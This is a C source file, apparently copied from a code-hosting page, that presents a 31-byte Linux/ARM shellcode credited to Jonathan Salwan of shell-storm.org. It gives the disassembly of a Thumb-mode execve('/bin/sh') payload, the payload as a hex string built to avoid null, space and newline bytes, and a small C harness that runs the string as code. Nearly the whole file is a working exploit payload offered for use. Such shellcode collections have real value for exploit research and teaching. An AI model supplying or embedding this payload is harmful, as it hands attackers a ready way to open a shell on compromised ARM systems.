47 lines
No EOL
1 KiB
C
47 lines
No EOL
1 KiB
C
/*
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Title: Linux/ARM - execve("/bin/sh",NULL,0) - 31 bytes
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Date: 2010-08-31
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Tested: ARM926EJ-S rev 5 (v5l)
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Author: Jonathan Salwan - twitter: @jonathansalwan
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shell-storm.org
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Shellcode ARM without 0x20, 0x0a and 0x00
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00008054 <_start>:
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8054: e28f3001 add r3, pc, #1 ; 0x1
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8058: e12fff13 bx r3
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805c: 4678 mov r0, pc
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805e: 300c adds r0, #12
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8060: 46c0 nop (mov r8, r8)
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8062: 9001 str r0, [sp, #4]
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8064: 1a49 subs r1, r1, r1
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8066: 1a92 subs r2, r2, r2
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8068: 270b movs r7, #11
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806a: df01 svc 1
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806c: 622f str r7, [r5, #32]
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806e: 6e69 ldr r1, [r5, #100]
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8070: 732f strb r7, [r5, #12]
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8072: 0068 lsls r0, r5, #1
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*/
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#include <stdio.h>
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char *SC = "\x01\x30\x8f\xe2"
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"\x13\xff\x2f\xe1"
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"\x78\x46\x0c\x30"
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"\xc0\x46\x01\x90"
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"\x49\x1a\x92\x1a"
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"\x0b\x27\x01\xdf"
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"\x2f\x62\x69\x6e"
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"\x2f\x73\x68";
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int main(void)
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{
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fprintf(stdout,"Length: %d\n",strlen(SC));
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(*(void(*)()) SC)();
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return 0;
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} |